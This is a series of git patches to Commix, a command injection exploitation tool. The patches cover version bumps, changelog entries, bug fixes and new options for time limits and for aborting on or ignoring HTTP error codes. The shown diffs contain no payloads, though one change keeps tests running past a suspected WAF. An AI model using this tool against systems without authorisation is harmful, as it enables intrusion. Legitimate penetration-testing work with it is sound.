Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index db8a2bb416..4198a45bd0 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 49968b9f7d..ae6c8765d6 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index b8f27c180e..eb26856789 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index 46297ca474..e08e7a12d1 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index 6dbf51a59f..50b7e8d887 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index fe90f0a0cd..66e05a0410 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7ab4a34765..7ed8b3e87f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 04796051a9..aee9638c2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -257,7 +257,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2023" +YEAR = "2014-2024" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index fd0796e7fe..be027717c8 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 7be767c008..a9b17d7027 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index b39fc458c6..21631a378c 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 16ce125cb8fa1a69677e79a0373a48bc08cef4d8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Jan 2024 08:43:20 +0200 Subject: [PATCH 387/560] Fixes https://github.com/commixproject/commix/issues/884 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d92bd2c040..e7b438d79e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1272,7 +1272,7 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." print(settings.print_critical_msg(err_msg)) raise SystemExit() - except ImportError as err_msg: + except (ImportError, ValueError) as err_msg: pass # Using too many tamper scripts is usually not a good idea. :P diff --git a/src/utils/settings.py b/src/utils/settings.py index aee9638c2e..a877ad974a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 36def7888d6c50a1f77596ac7998040fdeb563c6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 Jan 2024 09:09:20 +0200 Subject: [PATCH 388/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2abc698a79..cf1a1c6cb2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) From bb2f35fc5eeb3c24d9479970e9c0a5382012dc0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 Jan 2024 08:40:42 +0200 Subject: [PATCH 389/560] Updated to v3.9 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf1a1c6cb2..48e9f0eee2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.9 (TBA) +## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). @@ -12,6 +12,8 @@ * Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ + ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/setup.py b/setup.py index 62f49da7fa..ce4f3fd389 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.9-dev', + version='3.9-stable', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index a877ad974a..05bf5506ea 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -248,7 +248,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" REVISION = "44" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From e258151bf9ab480b41bcfc34222883a2da406fe9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Feb 2024 15:57:30 +0200 Subject: [PATCH 390/560] Added new option `--time-limit` for running with a time limit in seconds (e.g. 3600) --- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- src/core/requests/headers.py | 5 +++-- src/utils/menu.py | 5 +++++ src/utils/settings.py | 8 +++++--- 5 files changed, 17 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 48e9f0eee2..09f58da538 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 4.0 (TBA) +* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). + ## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. diff --git a/setup.py b/setup.py index ce4f3fd389..8050b15f93 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.9-stable', + version='4.0-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 167779c6c1..c3cf415680 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,8 +150,9 @@ def https_open(self, req): opener = _urllib.request.build_opener(connection_handler()) - # if len(settings.HTTP_METHOD) != 0: - # request.get_method = lambda: settings.HTTP_METHOD + # Time limit mechanism. + if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): + raise SystemExit() _ = False response = False diff --git a/src/utils/menu.py b/src/utils/menu.py index e08e7a12d1..ede5b2f6ce 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -103,6 +103,11 @@ def banner(): default=None, help="Log all HTTP traffic into a textual file.") +general.add_option("--time-limit", + dest="time_limit", + type=float, + help="Run with a time limit in seconds (e.g. 3600).") + general.add_option("--batch", action="store_true", dest="batch", diff --git a/src/utils/settings.py b/src/utils/settings.py index 05bf5506ea..0a4c48040b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -246,9 +246,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.9" -REVISION = "44" -STABLE_RELEASE = True +VERSION_NUM = "4.0" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -273,6 +273,8 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) +START_TIME = time.time() + # Readline READLINE_ERROR = False From f18d6f83a61345ce82699fba9f494a1787284d3c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 9 Feb 2024 07:47:57 +0200 Subject: [PATCH 391/560] Minor update --- src/utils/menu.py | 10 +++++----- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index ede5b2f6ce..b79507cbc5 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -130,7 +130,7 @@ def banner(): action="store", dest="charset", default=None, - help="Time-related injection charset (e.g. \"0123456789abcdef\")") + help="Time-related injection charset (e.g. '0123456789abcdef').") general.add_option("--check-internet", action="store_true", @@ -139,7 +139,7 @@ def banner(): general.add_option("--answers", dest="answers", - help="Set predefined answers (e.g. \"quit=N,follow=N\")") + help="Set predefined answers (e.g. 'quit=N,follow=N').") # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, @@ -177,7 +177,7 @@ def banner(): target.add_option("--crawl-exclude", dest="crawl_exclude", default=None, - help="Regexp to exclude pages from crawling (e.g. \"logout\").") + help="Regexp to exclude pages from crawling (e.g. 'logout').") target.add_option("-x", dest="sitemap_url", @@ -185,7 +185,7 @@ def banner(): target.add_option("--method", dest="method", - help="Force usage of given HTTP method (e.g. PUT)") + help="Force usage of given HTTP method (e.g. 'PUT').") # Request options request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL, @@ -612,7 +612,7 @@ def banner(): action="store_true", dest="offline", default=False, - help="Work in offline mode.\n") + help="Work in offline mode.") misc.add_option("--wizard", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a4c48040b..e5f2e092e4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5b0527635d2cf73016122d9beb1a78dfe6caaf95 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Feb 2024 08:19:13 +0200 Subject: [PATCH 392/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 09f58da538..f617776d7d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -12,7 +12,7 @@ * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). -* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish. (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ From 3e740b03033ef5e3ad95909c2e84e928f5c9f7f2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Feb 2024 08:20:23 +0200 Subject: [PATCH 393/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f617776d7d..5bb11f98a8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -169,7 +169,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Six (third party) module has been added. * Revised: Improvement regarding parsing nested JSON objects that contain boolean values. * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. -* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ From 882ae43c2f6c6ead2c1faaad2007b7f1a67d4aec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Feb 2024 07:39:42 +0200 Subject: [PATCH 394/560] Fixes https://github.com/commixproject/commix/issues/891 --- src/core/injections/controller/parser.py | 21 +++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 42537e22c1..620a20415c 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -152,16 +152,17 @@ def invalid_data(request): scheme = "https://" if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if auth_provided: + menu.options.auth_type = auth_provided[0].lower() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not menu.options.auth_cred: + print(settings.SINGLE_WHITESPACE) + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Add extra headers else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e5f2e092e4..44f148d0da 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6d645cec49980ef349b3ce83c77cad7a2cfa0777 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Feb 2024 09:05:56 +0200 Subject: [PATCH 395/560] Added new option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) --- doc/CHANGELOG.md | 1 + src/core/main.py | 9 +++++++++ src/core/requests/headers.py | 13 ++++++++----- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 5 ++++- 5 files changed, 28 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5bb11f98a8..5e8b544d55 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). ## Version 3.9 (2024-01-19) diff --git a/src/core/main.py b/src/core/main.py index 976e6cca7b..e900c23c2b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -715,6 +715,15 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + # Check if defined "--abort-code" option. + if menu.options.abort_code: + try: + settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] + except ValueError: + err_msg = "The option '--abort-code' should contain a list of integer values." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--ignore-code" option. if menu.options.ignore_code and "," in menu.options.ignore_code: err_msg = "Ignoring more than one HTTP error code, is not yet supported." diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c3cf415680..cc603342e4 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -73,6 +73,11 @@ def http_response(headers, code): Print HTTP response headers / Body. """ def print_http_response(response_headers, code, page): + if int(code) in settings.ABORT_CODE: + err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" @@ -211,8 +216,7 @@ def https_open(self, req): # Checks for not declared cookie(s), while server wants to set its own. if not menu.options.drop_set_cookie: checks.not_declared_cookies(response) - if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: - print_http_response(response_headers, code, page) + print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. @@ -232,9 +236,8 @@ def https_open(self, req): except Exception as ex: page = '' - if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, page) - + print_http_response(err.info(), err.code, page) + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ diff --git a/src/utils/menu.py b/src/utils/menu.py index b79507cbc5..d485ddfbaf 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -289,6 +289,12 @@ def banner(): dest="auth_cred", help="HTTP authentication credentials (e.g. 'admin:admin').") +request.add_option("--abort-code", + action="store", + dest="abort_code", + default=False, + help="Abort on (problematic) HTTP error code(s) (e.g. 401).") + request.add_option("--ignore-code", action="store", dest="ignore_code", diff --git a/src/utils/settings.py b/src/utils/settings.py index 44f148d0da..5ed0fb462b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1269,6 +1269,9 @@ class AUTH_TYPE(object): # Skipped crawled hrefs HREF_SKIPPED = [] +# Abort on (problematic) HTTP error code (e.g. 401). +ABORT_CODE = [] + # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 From 55a124221e20681a9baaeaa43153a7fabe8bfb69 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Feb 2024 10:08:18 +0200 Subject: [PATCH 396/560] Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 8 +++----- src/core/injections/controller/controller.py | 4 ---- src/core/main.py | 14 ++++++++++---- src/core/requests/requests.py | 10 +++++----- src/utils/menu.py | 2 +- src/utils/settings.py | 5 ++++- 7 files changed, 24 insertions(+), 20 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5e8b544d55..7a7a369f16 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e7b438d79e..7e0051c462 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -763,11 +763,8 @@ def check_bind_tcp_options(bind_tcp_option): """ def continue_tests(err): # Ignoring (problematic) HTTP error codes. - if menu.options.ignore_code: - for error_code in settings.HTTP_ERROR_CODES: - if menu.options.ignore_code == error_code: - settings.WAF_ENABLED = True - return True + if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): + return True # Possible WAF/IPS/IDS try: @@ -785,6 +782,7 @@ def continue_tests(err): message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: + settings.IGNORE_CODE.append(err.code) return True elif continue_tests in settings.CHOICE_NO: return False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9b2398ad9a..be5634fd4c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -273,10 +273,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - if menu.options.ignore_code: - info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " - print(settings.print_info_msg(info_msg)) - # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): diff --git a/src/core/main.py b/src/core/main.py index e900c23c2b..dcd733cce3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -725,10 +725,16 @@ def main(filename, url): raise SystemExit() # Check if defined "--ignore-code" option. - if menu.options.ignore_code and "," in menu.options.ignore_code: - err_msg = "Ignoring more than one HTTP error code, is not yet supported." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.ignore_code: + try: + settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + print(settings.print_debug_msg(debug_msg)) + except ValueError: + err_msg = "The option '--ignore-code' should contain a list of integer values." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check if defined "--wizard" option. if menu.options.wizard: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 27694409d4..48e4066293 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -96,7 +96,7 @@ def estimate_response_time(url, timesec): except _urllib.error.HTTPError as err: ignore_start = time.time() - if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: if settings.VERBOSITY_LEVEL != 0: @@ -155,7 +155,7 @@ def estimate_response_time(url, timesec): else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) @@ -180,7 +180,7 @@ def estimate_response_time(url, timesec): # Digest authentication elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) @@ -316,7 +316,7 @@ def request_failed(err_msg): return False elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or settings.PERFORM_CRACKING: return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " @@ -373,7 +373,7 @@ def request_failed(err_msg): return False elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ - (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): + (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): return False elif settings.IGNORE_ERR_MSG == False: diff --git a/src/utils/menu.py b/src/utils/menu.py index d485ddfbaf..fee84d343b 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -299,7 +299,7 @@ def banner(): action="store", dest="ignore_code", default=False, - help="Ignore (problematic) HTTP error code (e.g. 401).") + help="Ignore (problematic) HTTP error code(s) (e.g. 401).") request.add_option("--force-ssl", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 5ed0fb462b..9fc84da8d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1272,6 +1272,9 @@ class AUTH_TYPE(object): # Abort on (problematic) HTTP error code (e.g. 401). ABORT_CODE = [] +# Ignore on (problematic) HTTP error code (e.g. 401). +IGNORE_CODE = [] + # Default crawling depth DEFAULT_CRAWLING_DEPTH = 